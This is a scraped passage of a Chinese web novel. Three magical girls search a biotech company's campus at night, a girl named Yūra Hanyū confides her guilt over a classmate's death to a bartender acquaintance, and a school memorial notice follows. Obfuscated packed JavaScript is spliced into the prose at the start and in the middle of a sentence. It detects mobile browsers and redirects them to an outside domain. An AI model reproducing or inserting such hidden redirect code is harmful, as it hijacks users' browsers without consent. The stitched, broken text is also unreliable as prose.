l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706134|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有继续问了,不久后发来了一个文档,没有标题。 “我试着在网络上寻找一些相关线索,但总量不算多。总而言之我会再去别的地方找找看有没有更私人的信息。”森山寺未央说。 犬山晓点开文件查看。 文档中细细列举了许多信息,但并不是网络上搜索得来的消息,更像是由真人发言并讨论的内容,其中不乏一些充斥着个人想法和感情的发言,让犬山晓疑惑不知道该看哪里了。她注意的一条被加粗了的消息,内容为:这公司也算是靠着地皮升值发达的吧,以前不过是隔壁海岸线城市的化工厂与医疗中心结合体而已,到大城市了就是不一样哈还改了个这么长的名字!不过说真的这个家族哪里来的钱啊化工厂有这么挣钱的吗? “值得注意的是,虽然Evo的公司董事会成员众多,合伙人也很多,但核心决策层和支持者几乎都来自同一家族,也就是亚贝琉家族。而这个姓氏根据网友讨论,是来自上世纪的殖民者阿贝尔的本地化音译。”森山寺未央总结补充说,“而且这么大的公司消息居然只有这么一点,我合理怀疑她们的公关部门规模相当大哦。” “居然是上个世纪更早就存在的家族吗,这是难以想象的庞然大物,家族化运营的意思是,一直以来都是同一个家族的人在继承这个公司吧。”犬山晓评价道。 “家族吗,现在的家族都会聚在一起做生意了吗?我以为那种大家族都会让孩子去外面呢。”艾克里普评价道。 “这个我就不清楚了!”森山寺未央不太懂其中的细节,“至少核心决策层都无条件听令于那位CEO,毕竟这么多年来股价和持有都贴合通货膨胀而且没怎么发生过大的波动就可以证明这一点了。而且官网采访视频居然是10年前的,我也找不到更新的个人新闻,这位CEO在个人隐私防护方面也太过于立体化了吧!” 犬山晓完全不知道该怎么回复这个消息。 “而且我看到有网友说,上个世纪西部市区还没大转移的时候Evo就买好地皮了,真是有先见之明啊之前那位CEO,还是说是有内部消息?而且就财务报表上的对比值们来说,Evo大概也是上世纪末才开始转型向生物科技的,之前更倾向于化工厂和药厂这种更偏向生产型的。”森山寺未央的打字速度飞快。 “而且说起财务报表,不知道是不是因为这里的园区是公司总部地址的原因,财务部门居然有独立的一整栋楼诶!而且有一个专门的会计系统和管理部门,说真的真的有这么多帐要算吗?在这一点上也是有够可疑的吧!不过是因为公司规模太大而且家族化管理而没人去质疑这一点而已,放在普通公司的话股东每次开会都会问一句要不要裁财务人员预算吧。” “总之,真的很难想象我们居然要调查这样的目标!”森山寺未央的文字里包含兴奋。 “谢谢未央!我想把这些告诉那位侦探朋友可以吗?”艾克里普问。 森山寺未央回了个OK的表情。 于是犬山晓放下了手机,放弃了去看那些密密麻麻的文字。她想到但那位CEO似乎更加愿意别人喊自己的名字,犬山晓回忆起自己看到的采访,她本以为家族制企业都会像天生目白那样更喜欢以姓氏这样的统称被称呼。 但直到现在,有乐羽生还是没有回复。 “还有还有,我刚才在论坛看见的,EVO的前身所在地址上,神脉综合医院似乎现在依旧在运营,同时与公司有合作,或者说Evo公司财政部门单方面在做慈善给那边拨款。”森山寺未央说起这个,“如果Evo真的是我们要找的对象的话,它真的把自己包装的很好。” 但实际上森山寺未央想说的是医院那边可能也在同流合污,但这种事情她想要留在事件被盖棺定论之后再说。 神脉医院这个名字显然是宗教化的,犬山晓一时也分不清两者哪种更好。 “今晚见。”她只能先这样说了。 时间到了深夜,三人聚集在Evo园区正门大雕塑对面的巷子里,白日里人群蜂拥的大型十字路口到了现在这个时间也少了大半人或车流量。夜风萧瑟,几人内心昂扬,至少森山寺未央是这样的。 方块斜对角,Evo园区内建筑无论高矮都灯光璀璨着,精心修剪过的灌木丛与雕刻着与科技格格不入的古典花纹的石墙将其围在其中,仿佛一个独立于西部市区存在的区域。 “果然一直不关灯,不过大多数员工应该都下班了,我刚才看见办公室里有人在打扫卫生。”犬山晓说。 “这个里面全都是属于同一公司的建筑吗?我以前路过还以为是很多个公司呢,原来是这样的存在,就像是小型部落集群一样了。”艾克里普惊叹地说到。 “一看确实是不理解吧,不过不同的楼有不同用处,园区里可能还包括食堂,员工宿舍或者娱乐区这种与工作无关的好地方。不过按理来说那些地方不会有我们要找的东西,毕竟人多眼杂,做人体实验总得偷偷的吧!”森山寺未央说,“而且我的手下化影后可以很快速地搜寻楼内区域哪一部分有特殊的存在,这样以来我们可以缩小被发现的可能。” “未央对魔法的掌握变得熟练了呢。”艾克里普很欣慰,对方成长的这么快。 “那我们就可能地低调行事吧,现代的摄像头功能多到超乎想象。”犬山晓叹了口气,“我还算是比较擅长发现摄像头,也不能完全放下心来。” 仿佛是为了印证她所说的那般,十字路口红绿灯顶端上的无死角摄像头转了转。 “擅长发现摄像头?这是什么魔法吗?”森山寺未央喃喃自语。 “羽生她果然还是没有来,也没有回复消息。不过明天就可以看见她了,她如果是待在家里的话就也不会遇到什么危险。就怕她自己出门调查相关事件了。”艾克里普又有些担心有乐羽生的安危,“我来这里之前没有在城市里遇到她。” “确实,希望她没事,她会使用空间魔法的话遇到危险就跑走还是可以的。”犬山晓说起了白天没说的事情,“学校突然停课是因为教学楼那里有学生自杀了,死者是天生目白,大家都记得她吧?” “自,自杀?!”森山寺未央被这件事吓了一大跳,神色仓皇了起来,她从来没有想过会有这种事情发生在自己的身边,“她看上去绝对不应该自杀吧,而且家境也不错的样子,不过也不能这样说,诶。” “这可真是悲伤的事,之前天生目同学和羽生一起度过了很长一段时间吧,希望羽生不会受到太大的打击。”艾克里普面露怜悯,对一个生命的逝去默哀。 “我去看的时候学校里来了很多校董会的人,也看到了羽生的妈妈,不过细节我就也不清楚了。”犬山晓点点头,“我认为羽生没有回应也有这方面的原因,明天到学校了再问问她吧。” 几人开始准备调查,虽然时间只有一个晚上,但她们有足够的能力调查整个园区。 “总部大楼多数是办公室结构,我个人认为不具备条件进行大型生物试验。而且休息区,是休息区吧?还有健身训练区域好大啊设备也有好多我不认识的,比我妈妈公司的还充分,简直就是工作生活平衡性的表率。”森山寺未央分析说,“其次便是独立的研发中心,生物储蓄库和物流中心,我都没看到与那些无头魔物相似的存在。但是为什么一个公司还有自己的物流中心啊?” “不过这也说明了它确实很可疑。”犬山晓若有所思地说,“如果目标早有准备的话,那些魔物是有可能不被存放在园区内部的。” “那我去储蓄库的档案室查查有没有东西,晓去研发中心看看吧,那些电子设备没有密码我们肯定是用不了的。不过艾克里普可以用魔力探查一下我们找不到入口进去的地下区域或者仓储区域。”森山寺未央说着补充道,“我也去CEO办公室逛逛好了嘿嘿。” 三人开始分头行动。 Evo园区占地在市中心这种寸土寸金的地方显得尤其奢侈,但与日之森校区比起来就不够看,不过日之森在更偏的地区就是了。深夜的建筑物内部虽然亮着灯但确实没有多少人在,走廊指引灯微亮,这为三人的搜索进程提供了很大的便利。 三人尽快结束了自己的探索,并回到原来的位置分享自己的收获。 “我没有在研究大楼看见类似魔物的东西,也没有魔力痕迹。”犬山晓并没有在楼内找到可疑的实验器材,“但是我发现一些废纸篓里有包含可阅读信息的纸张,不知道有没有用,就带了些出来。” 纸张似乎是一张仅仅打印了部分信息出来的错版,其空白的地方被人打了些草稿。 几人对纸张上的信息看了又看。 【Rp-b浸泡回收生物样本基因改造项目,Rp-h-CI-2】 “这个标题,我在官网浏览的时候看到过类似的,没错,我记得确实是这个名字。”森山寺未央说,“是Evo很久以前的项目了,至少十年前,但是实验编号我完全没见过,也没办法理解。” “果然是没用的吗?”犬山晓叹了口气。 “这也没办法,专业用词我们就是看不懂的。”森山寺未央并没有气馁,“我在档案室里找到了一些记录,我没法带出来,不过大概内容是一些未登记的运输单据,上面记录了一批被送往未知地点的物资,其中包括培养基样本12桶,生体强化样本,外来试验素材未初步检测。数据我记下了一些但对我们没什么用吧。” “完全听不懂是什么,这算是正常,还是不正常?”犬山晓把自己的感受实话实说,“生物科技公司都是这样的吗?” “生物样本,我猜测应该是用于试验的动物什么的吧?”森山寺未央不确定。 “应该是内脏,人类的。”犬山晓迅速明白了那是什么。 “咦?这还挺可疑的吧,晓在实验室看到了吗?”森山寺未央问。 “差不多吧。”犬山晓心想总不能直接说这是自己提供的。 “说起来我发现附近有个防空洞入口,虽然说是被封禁状态的,但我想办法进去看了一下,”艾克里普说,“里面是空荡荡的,四周墙面之外我也探查了一下,要么是实心的要么是水呢。” “园区内部确实有个水池,观赏用的,还有喷泉。”森山寺未央点头说。 “果然今天还是没法找出有用的证据吗?”犬山晓叹了口气说。 “确实如此,虽然我们试着找了,但最大的障碍居然是专业问题,得从别的地方下手了吗?”森山寺未央挠了挠头,“其实现在来看,或许我们更应该从魔物那边下手才对,到这里来好像没什么收获的样子。觉得能直白迅速地揪出幕后黑手果然是有些想当然了吗?” “那今天就先这样吧,这样下去也只是浪费时间了。”艾克里普一拍手,“我带着这些去找那位侦探朋友问一下,大家今晚辛苦了!” “侦探朋友!艾克里普的侦探朋友是谁呢?好想见见看啊!”森山寺未央非常好奇。 “我们一般以书面形式交流,有机会的话我会引荐的。”艾克里普笑着说。 之后几人分开 22. 间奏-有乐羽生与格雷伊 深夜,有乐羽生看向窗外的天空,月亮与云层不知人间发生过什么事,只是一如往常那样在第二天的日出之前覆盖着大地。 有乐羽生忽然觉得羡慕,那无机物们就这样在遥远的彼岸不知疲惫地按照自我的规律运行,离地上的一切都那么远,那么庞大,只是让她这样看着就仿佛她自己也浮动了起来。 身体无比疲惫,就连羽翼都无力了起来,有乐羽生想起白日发生的一切,胃部链接大脑神经一起抽痛着,她看着往日如好友般常伴身侧的漆黑夜空忽然感受到胆怯,若是天空知道自己的所作所为还会接受自己这个朋友吗? 但很快有乐羽生就意识到,对方是不会在乎的。 分不清这个答案给她带来的是安慰还是雪上加霜的打击,但无论如何,现在的她有了短暂地不去思考白日里的一切的理由,于是她拉开了窗户,有些犹豫地飞向了夜空。 或许是因为心思沉重,她飞行时不似往日般随心所欲,也可能是因为魔力供应比起往日来说更加缺乏,总之她逐渐感到疲惫感攀爬上自己的肩胛,连带着羽翼也沉重了起来。 要降落休息一下吗,有乐羽生这样想着低头寻找一个落脚点,往日里灯光灿烂如上好的珠宝一般的城市此刻令她感到无从下脚,地面上的每一个人,每一条街道都像在拒绝她的打扰一般有规律地运动着。行人打着电话,聊着天,或者低头看手机,街道上汽车轰鸣,各色店铺中映射在地面的灯光没有留下余地。 地面离她太远了,她找不到一片自己可以驻足的面积,天空又容不下她,肩胛骨传来的疲惫感催促着她尽快作出选择。无奈之下有乐羽生看向了老城区之前巡逻过的无人小巷,降落在了那里。 脚踏实地的感觉提醒着她周围的环境并不友好,从上空看五彩斑斓的城市若是以其中的角落窥视,那便会发现自身的渺小。有乐羽生想起之前自己还心想过绝不会再在晚上跑来这里,没想到这么快就再次光临了。城市没有向她展示友好,春日的夜晚湿寒如同刻薄的刀,往常连高空飞行都没有任何不适的她此时觉得自己正在受伤。 她意识到自己似乎总是这样,只知道一个劲地朝自那些光鲜亮丽的表面伸出双手,但真正意识到其表面之下的存在时又自说自话地想要挣脱。 有我这样的朋友或者孩子也是挺辛苦的吧?有乐羽生在心里自嘲。 有乐羽生想要回家,但她转瞬间就明白过来自己是为了逃开家里的重压而跑来这里的,她一时不知该去哪,只能漫无目的地朝有灯光的地方走去。 “咦?”街道口的行人中的一位脱离队伍,在人群中偏过头来看向落在群众之外的存在,她戴着明黄色兜帽,这并不是什么独特的行为,但这很快让有乐羽生想起来曾经遇到过的一个人。 “羽生?这么晚了怎么还没回家?”格雷伊掀起兜帽朝她走来。 有乐羽生忽然很庆幸此时遇到的人对白日的一切一无所知。 “我出来散散步,很快就回去了。”有乐羽生不想透露太多,勉强牵起礼貌的微笑。 而格雷伊看着有乐羽生一副被霜打过的模样,脸上有些纠结。 “我,”她纠结再三还是开口说,“我正好准备去吃点夜宵,要一起吗?” 有乐羽生本条件反射地想拒绝,但很快她的肠胃提醒她接受比较好。 “感谢您的邀请,我们走吧?”有乐羽生跟了上去。 格雷伊带着有乐羽生七拐八拐,很快在一处桥下小楼第一层前停了下来,这一处附近不算繁华,周围有些饭店和酒吧在营业,偶尔有些行人进出其中。店铺没有明显的名牌,入口是一处十分隐蔽的单开门,临街的窗关着,窗下方靠人行道的位置随意放着些不走心的盆栽。 不过门是关着的,格雷伊从口袋里掏出了钥匙打开门,熟练地在门口处的操纵板上按了几下,很快全屋灯光亮起,一处装修颇有些上世纪年代感的酒馆展现在有乐羽生眼前,入口往里走十步不到就是一处调酒吧台,上方不同种类的玻璃杯倒挂,后方靠墙各种基酒和糖浆琳琅满目。 “这里是你的酒吧吗?”有乐羽生因为好奇心而打起了精神,她不曾来过这种地方。 “算是我们家经营的的,不过之前荒废了很久,后来我就在空闲的时候自己经营起了这里,楼上可以住人,但我平时住公司的公寓。”格雷伊面带微笑介绍着,来到自己的空间后她显然自信了许多,“在吧台坐一会吧,我去后厨准备些吃的。” “麻烦你了!”有乐羽生在吧台上坐下,格雷伊为她从冰箱里取出一罐玻璃瓶装甜茶,附上吸管放在她身前的桌子上,转身去了吧台旁小门后面。 有乐羽生拉开易拉罐投入吸管,吸着冰凉的加糖红茶环顾四周,酒馆面积不算小,有些隐蔽的座位,也有大厅中互相接连着的圆桌,橘黄色的光线来自顶上的吊灯,若是临街的窗户打开的话就会有路灯的灯光照进来。 按理来说晚上才是酒馆的营业时间,但还需要在公司上班的格雷伊明显并不是这样想的,哪怕她看上去是这个酒馆唯一的管理员。吧台上方的额外灯光将玻璃杯表面反射地像是艺术品,很明显经常有人将它们取下并且擦拭,后方的基酒架子上并没有灰尘,用量可观,不知道这无名酒馆的顾客都是谁。 但有乐羽生明白自己并不应该随意打探别人的隐私,这份自我束缚迅速将白日里的坏心情连带着一起牵上她的思绪,使她整个人向低谷坠去。 我真的应该在这里吗?那个人的死亡几乎算是我一手造成的,我为什么可以做到就这样假装什么事都没有发生地坐在这里呢?母亲对这件事是怎么想的?她会对我失望吗?她们对这件事是怎么想的?她们一定已经开始调查那里了吧,那如果她们知道发生过什么,她们会对我—— “久等了,”格雷伊捧着一大筐出自空气炸锅的半成品从门后走出,看见有乐羽生的整个人的头都快低到脖子下面去了,吓了一跳,“怎么了怎么了?” 有乐羽生闻到食物的气味勉强把头抬了起来,却还是无法控制自己的表情。 格雷伊把比她脑袋大的竹筐放在吧台上,薯格鸡块芝士球年糕鱼排鸡米花的下面垫了吸油纸,上面撒了海苔粉还插了牙签。 “这是本店招牌特色菜,请品尝吧。”格雷伊自信地将竹筐往前推了推,“以前店里还会有我老家的特产草药酒,但现在我不怎么酿这些了,不过羽生也不能喝酒就是了。” “谢谢!”有乐羽生打起了些精神,没有把为什么特色菜是空气炸锅半成品的疑问说出口。 出乎意料的是,即使仅仅是把半成品扔进空气炸锅这样简单的料理步骤,出自格雷伊手中的竹筐万花筒也为有乐羽生带来了令她欣喜的体验,表面缺水和口感差是空气炸锅出品的通病,而格雷伊则巧妙地运用这些作出了口感绝妙的成品。 “非常好吃!”有乐羽生郑重地说。 “对吧?如果要说空气炸锅使用技巧的话我不会输给任何人。”格雷伊理所当然地说,谈起这些时她习惯性皱起的粗眉展开了些许,五官上来自异国的特征就更为明显了起来。 不一会竹筐内的食物消失了一小半,有乐羽生终于放慢了进食的速度。胃部变得温暖而且沉重了起来,重量反而让她有了实感,思绪也没有再满天飞舞。 “最近城区内真的不太平哦,好多帮派成员近期都在行动,羽生这样的学生要散步的话最好还是不要往这个方向走了,而且现在也太晚了。”格雷伊提醒说。 “抱歉让你担心了,我会注意的。”有乐羽生有些羞怯。 “那就行了,”格雷伊笑着说,“是学校里发生了什么事吗?要不要和我聊一下?别看我这幅样子,但酒吧的调酒师总会需要听些故事的。” 有乐羽生顿了顿,她确实有些想要倾诉心中的不安,但又不想让这位多年不曾见面的人太过于担心自己从而追问太多,纠结再三之后她决定选择性地说一些。 “我的一个朋友,她之前和我因为一些事情吵架了,我心里讨厌她就一直没有和她说话。”有乐羽生声音很轻,“今天我们大吵了一架,但她告诉了我她心里是怎么想的,我想和她和好,可是她,她出了些事。” 格雷伊沉默了一会,随后说,“那很可惜,真的。” 她站在吧台里面,静静地听着。 “是的,很可惜,如果不是我的话我们就不会吵架,她就不会出事。”有乐羽生说,“但是现在什么都来不及了,我却还坐在这里,我觉得这样很不好,但我不知道该怎么办。” 有乐羽生压抑着自己的情绪,格雷伊没有说话,像她自己说的那样擅长倾听。 “我很害怕,我害怕我的家人和朋友因此对我产生不同的看法,我害怕她对我感到失望,我们明明就快要有可以期待的共同的未来的,我甚至害怕去查看真相。”有乐羽生说着,情绪逐渐激动了起来,格雷伊却察觉到她诉说自己的软弱带着些许理直气壮的感觉。 “现在你还是个高中生,很多事情不需要你自己承受的,你有想过后果吗?”格雷伊问。 “…无论是什么后果都没关系,都比没有后果好。”有乐羽生轻声说。 “那你现在想做什么呢?”格雷伊问。 “我不知道,我不想待在家里,即使家里没有人会指责我,我不想去学校,即使我不在乎学校里的人怎么说我,我讨厌这样什么都不在乎也不承担任何责任的自己,我讨厌这里。”有乐羽生把头伏在吧台上说,声音越来越低。 “你如果真的不在乎就不会说出这样的话了不是吗?”格雷伊轻缓地说,“你还太小了,这些事都会过去的,你也会走向未来。” “…这也是我害怕的东西。”有乐羽生抬起头看向格雷伊,“格雷伊在我这个年纪的时候是什么样的呢?你把这家酒馆管理得很好,而你看上去也很年轻。” “咦,我吗?”话题忽然被转移到自己身上让格雷伊一时措手不及,但她并没有表现出排斥,她想了想说,“在我很小的时候,我和我的父母一起生活,这里的一切算是我父亲的爱好吧,我的母亲是个高雅智慧的人,却也愿意偶尔来这里坐坐,也会酿草药酒。 现在想起来其实很多事情都不太一样了,我也只是效仿她们的样子管理这里而已。后来我的母亲离开了,我的姐姐也离开了,我舍不得这里一直荒废下去就重新开始经营这里。我在你这个年纪的时候大概是一边学习各种经验一边完成学业吧。” “抱歉,让你说起这些事情。”有乐羽生意识到自己提起了不好的过去,但她确实从听到这些故事的过程中获得了一些平静。 “不是你想的那样啦,我的姐姐只是去了另外一个城市生活,我们还有交流的,不过她不怎么回我消息就是了。”格雷伊说起这个表情有些高兴,又有些失落。 “姐姐,你有姐姐吗?这是种什么样的感觉?”有乐羽生联想起对方曾经在自己年幼的时候和自己的姐姐一同来看过自己,不由得有些好奇。 说起这个话题,格雷伊情不自禁地露出了微笑,但眉头也苦恼地皱了起来。 “我的姐姐非常聪明,和我完全不一样,但我因为一些特殊的东西无法与她共享而和她产生了隔阂。我们小的时候相处得很好,她是个品德高尚的人,也教会了我很多东西。”格雷伊说起这些语气里充满了怀念,“后来我们产生了分歧,但我觉得我们总有一天能重归于好,即使现在我们分开了。” “你们也吵架了吗?如果是姐妹的话那一定能很快和好的!”有乐羽生鼓励说。 “是啊,我们一定能和好的。”格雷伊笑着说,“她品酒很有一套,到时候她在吧台我在厨房,这家酒馆一定能和我小时候一样热闹,就是不知道她愿不愿意当调酒师?”她说起这些时眼睛里闪烁着光,可眉头依旧紧紧皱起,像是期待这样的未来又不好意思一样。 在这个时候,有乐羽生能看出她身上属于一个经过成长之后的人的影子,有自己的理想和坚持,只不过不知道为什么平时表现得有些软弱。 同时有乐羽生忽然发现对方在谈及姐姐时从未谈起自己童年在酒馆的经历,反之亦然。但离异家庭或重建家庭并不少见,对方不主动提及的话就不要谈起比较好。 “如果我也有个姐姐就好了,能陪我一起长大的姐姐。”有乐羽生吐露出了自己的心声,“我希望有人能陪我一起面对我的母亲,犯错了之后也有个人能告诉我,我该怎么办。” “羽生是觉得自己的母亲不好相处吗?”格雷伊小心地问。 “…我觉得,我的母亲大概并不是那么爱我的,至少不是像我的朋友的双亲那样关爱。”有乐羽生发现自己说出口时意外的不是那么困难,“我比起她的孩子,更像是她为事业培养的继承人吧。她将她的标准放在我的身上,从没有考虑过我的感受是什么样的,还挺过分的不是吗?” 说着说着,有乐羽生心里却是膨胀了起来。 “说什么要品德完美高尚,母亲自己明明就说话很难听呀!让我学钢琴学围棋学艺术鉴赏,家里那堆东西根本就不能被叫做是艺术品,只是商品而已。我的弹奏哪怕错了几个音节也没人听得出来,她的朋友也尽是些只会说好话的。”有乐羽生吸了一大口甜茶。 “哈哈,羽生也很不容易呢。”格雷伊有些欲言又止。 “不容易吧,我也觉得,我做什么她好像都不满意,达到了标准就会有新的标准蹦出来,那都是什么呀?哪里听说的呀?我到底要怎么样她才能说一句满意呀?”有乐羽生吸了吸鼻子。 “啊,纸巾的话在这里。”格雷伊推过去纸巾盒。 “家里的饭还特别难吃,还吃不饱,难吃和吃不饱怎么可以每天同时出现呀?甜品也尽是些和云朵一样不存在也没关系的东西。”有乐羽生抽了张纸,“谢谢。” “居然吃不饱,这就不太好了,羽生看着已经很瘦小了,高中生的话果然应该吃饱才对的吧,身高可是很重要的。”格雷伊有些担心这一点。 “就是说啊!”有乐羽生狠狠点头,“说什么忍耐是美德,明明就是她们年龄大了自己吃不了什么东西而已,舌头也退化了吧!谁要吃名字比我的名字还长的食材做成的糊糊啊!” “我们老板就喜欢吃这种贵得莫名其妙的东西,很莫名其妙吧!”格雷伊感同身受地点头,“我们教练整天吃一些一看就看不出原型的高科技糊糊,我同事还夸她们两个品味好,真是一群有毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706135|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病的。” “根本不好吃!绝对不会变得好吃的!不好吃就是不好吃!”有乐羽生郑重强调。 “就是这样!香料和原材料就应该用味觉去决定啦。”格雷伊点头。 二人产生了一种跨越年龄的惺惺相惜之情。 “格雷伊小姐的同事是什么样的人呀?”有乐羽生好奇地问道,“公司里还有教练,是体育相关的公司吗?” “诶?这个。”格雷伊愣了一下,思索了一下过后说道,“我算是业务员类型的吧,平时按照绩效考核算工资,我在某方面还算是在行所以有时间能经营这里。说实话我觉得我们公司的文化氛围特别恶心,有搞阶级崇拜的倾向,不对,绝对已经在这么做了吧。” “这,这不是很糟糕吗?”有乐羽生脑子里浮现出上班前要喊口号跳舞的场面。 “但是人数不多,待遇不错,我也算是老员工了,而且我也没得选啦。”格雷伊的声音小了些,“我的同事真的每个都有毛病,我和她们真的没话题可以聊。” “我和大部分同学也是这样的,怎么说呢,待在学校里有种抽离感吧。”有乐羽生说。 “没错啊,老板整天一副笑眯眯的样子,但以前公司生意没那么好的时候她的笑容真诚多了。教练有乐老师她倒是总没什么表情,但说话特别刻薄啊。而且她和教练完全是很经典的职场互相折磨的典范,两个人明明互相看不起彼此还要走表面程序,我听见过她私底下骂教练‘没用的护工’的哦!”格雷伊说道这里也笑了起来,“要命的是她们还得在我同事面前摆架子,我同事特别崇拜她们两个,又恶心又好笑!” “哈哈哈——格雷伊小姐完全可以把这些写成小册子拿去卖啦。”有乐羽生笑个不停。 “那我会被我同事追杀的,她们绝对不会因为我的资历就尊重我,而且话是这么说,但我也没那个胆子真的就在公司里笑出声。尤其是在姐姐离开了以后老板对我的态度也有些奇怪,我就逐渐没人可以说话了。”格雷伊说着叹了口气,“啊对了,我的教练也是我的老师,也就是带着我去见你的人,她的名字叫有乐千实,不知道你知不知道这件事?” “原来是叫这个名字呀。”有乐羽生念了一遍这个名字,心中忽然有些悲伤,“如果她一直待在家里的话就好了。” “是,是这样吗?”格雷伊面色犹豫,她想说些什么,但还是没有说。 毕竟是公司同事,既是老师也是上下级,心里肯定会有所不满的吧。有乐羽生这样想着,担心起了格雷伊这样性格的人在公司里会不会遭到职场霸凌,而她的姐姐又去了哪? “这样来说的话,格雷伊小姐的姐姐是去了分公司什么的吗?”有乐羽生问道。 “差不多啦,姐姐她这么聪明,做什么都能行的。”格雷伊不好意思地笑了,“这样一说,让她来这里做调酒师反而是不好的选择吧。” 话虽然是这样说的,但格雷伊说起自己的姐姐时笑容和期待是发自内心的。 “如果她不愿意也没关系,她不愿意来见我也没关系,但如果她愿意多回一些消息就好了。”格雷伊喃喃自语,“不知道她那边怎么样了?她以前就喜欢把事情藏在心里,精神和脾气总是不太好的样子,但我知道她很在乎我们的。” “我们是指你和你父亲吗?”有乐羽生问道。 “是的,我的父亲是个温柔的人,”格雷伊又怀念了起来,“妈妈她经常说话说一半,可爸爸他总是会及时接上话头,会说话是他的特点,我要是能继承这一点就好了。” “啊,我母亲也是,说话喜欢说一半让人猜,但是猜没猜对她都不高兴!”有乐羽生深有体会,“其实她高不高兴我完全看得出来,她还说要喜怒不形于色呢。” “大人的世界真是复杂,我以前以为我长大了就会自然而然变成这样呢,没想到一晃眼我都这么大了,还是这幅样子。”格雷伊无奈地点点头。 “怎么样才算长大了呢,不过这也并不是什么必要的东西吧。”有乐羽生说。 “…那一定是突然发生的事情,但如果一个人一直沉浸在一件事中的话,那确实会错过长大的机会呢。”格雷伊似乎是想起了些什么,语气中有些无奈。 “格雷伊小姐现在就做的很好,有一技之长,酒馆也管理得很好。”有乐羽生认真地说,她很羡慕格雷伊有这么一个可以回来的避风港。 “被小孩子夸奖真是奇妙的感受,谢谢你。不过这里的话也得感谢一下我的父母和有乐老师吧。”格雷伊羞怯地笑了。 “有乐千实她是个什么样的人呢?”有乐羽生好奇地问。 “一个一直在向前看的人吧。”格雷伊想了想说,“有乐老师的教育理念是非常先进的那一派了,本人也是思想超前的那种,有时我会跟不上她的想法,但她本人对此见怪不怪。她这样的做法被我的同事崇拜着哦,真不理解那群家伙。” “哦哦,完全和我妈妈是反过来的。”有乐羽生想了想补充道,“对其它人的落后见怪不怪倒是差不多。” “是不是有所作为的人多多少少都这样呢,老板她说话时也有种看不起人的感受,我有时候甚至觉得她挺讨厌我们的。”格雷伊想起这一点无奈地笑了笑。 “这个果然是看个人品质吧,我们班主任就很亲切呢。”有乐羽生想起了古河梦久。 “我不敢指望有乐老师对我亲切起来。”格雷伊抖了抖。 “…诶。”有乐羽生叹了口气,“果然我还是很害怕母亲,说了这么多还是害怕。” “羽生有尝试过和母亲说说看自己的想法吗?”格雷伊问道。 “绝对不会有好结果的,我都能想象得到。”有乐羽生连忙摇头,“说不定还会挨打,上一次挨打已经是好久之前了,真是恐怖的回忆。” “哈哈,那确实。”格雷伊皱眉笑了笑,“不过现在想起来,我还是觉得很怀念,果然有些话该说的还是要说的,尤其是心里话。” 这句话有乐羽生没办法认可,她心想每个人的家庭不一样,她绝对没办法说出自己的心里话的,尤其是在自己的母亲面前。 “那我想想办法吧。”有乐羽生只能这样说。 “嗯!希望羽生能和家里人多聊聊,有时候哪怕是觉得有哪里不好,也是需要相信自己的家人的。”格雷伊说,“如果没办法的话,就先相信一下自己的朋友吧?” “…相信她们吗,我会试试看的。”有乐羽生说。 “这个点羽生该回家了哦,我送你回去吧!”格雷伊看了眼时间说道。 “不用辛苦您啦,我坐列车很快就到家了。”有乐羽生摆了摆手,“谢谢您的招待,也谢谢您愿意听我聊这么多。” “哪里哪里,让羽生听我抱怨公司里的事才让我不好意思呢,怎么能和小孩子聊这些呢?”格雷伊不好意思地说,“路上注意安全哦!” “嗯!感谢您的关心。”有乐羽生微微鞠了一躬,离开了这里。 从明亮的屋内步入昏暗的街道,有乐羽生一瞬间如同酒醒了一般意识到,自己正面临的是怎样的现实。她深信是不会有机会与家里人坦诚相见的,无论是自己的真实也好,关于天生目白的那件事也好。 23. Ⅵ 2024年4月19日,周五,天气雨。 东部市区交通办公室负责人宣称近期东流湾港口装载流量上升,将影响到112号与95号公路的交通状况,望居民提前计划出行,并减少夜间出行计划。好消息是城市治安专家已成功驱赶部分外围赌球组织,并清理建筑。 在上午由市政府组织的模拟疏散演习中,社区内一辆未注册的“假警车”被误认为恐袭参与车辆,导致多人慌乱逃跑。警方表示“有人利用演习制造混乱”,正在追查相关视频资料。 有市民举报大学城附近街道有吸毒者持武器制造混乱,区域警察局宣称将提高巡逻频率。 天气监察局对这周持续的晴天能否继续持续到双休日秉持保守态度,望居民提前安排出行计划。 早上,日之森的学生们都收到了学校发来的关于今日的通知邮件。 亲爱的师生、家长朋友们: 我们怀着极其沉痛的心情告知大家,我校的天生目白同学在校园内不幸离世。这一突如其来的悲剧让整个学校深感痛惜,也让我们每个人都感受到无以言表的哀伤。 首先,我们向这位同学的家人、朋友和师长致以最深切的慰问,并一起悼念这位年轻的生命。为了表达我们的哀悼,学校将在今日早餐晨课时间在礼堂举行默哀仪式,以缅怀这位同学。 生命是无比珍贵的,每个人的存在都值得被珍视。如果你或身边的朋友正面临困难,请不要犹豫,伸出手去寻求帮助,我们永远愿意倾听支持,并与你们一起度过难关。 让我们怀着敬意和爱心,铭记这位同学的美好时光,并珍惜彼此的陪伴。 日之森私立女子学校校董会办公室。 因为要在学校的演出厅进行默哀仪式,晨课的时间被占去了,默哀仪式参与者不仅仅是校内的学生,也有校董会成员以及学生们的家长,所以今日早晨日之森的停车场分外拥挤。 每个学生在进入校门时都会被分到一束白花,教学楼西侧的地面依旧处于被封锁的状态,同时教学楼内部西侧的玻璃楼梯间也被禁止使用了。许多学生二三聚集讨论这件事,偶尔表示遗憾以及不解。 礼堂内,有乐羽生如往常一般坐在靠近舞台的第一排,旁边坐着的是她的母亲,她校服上绑着黑纱,低着头,离台上被摆的整齐的白花分外近。 随着时间推移,陆陆续续有人从演出厅的正门走进,有些找了座位坐下,有些就站在一旁与旁人低语,本来安静的礼堂逐渐被这些无声的噪音填充了起来。 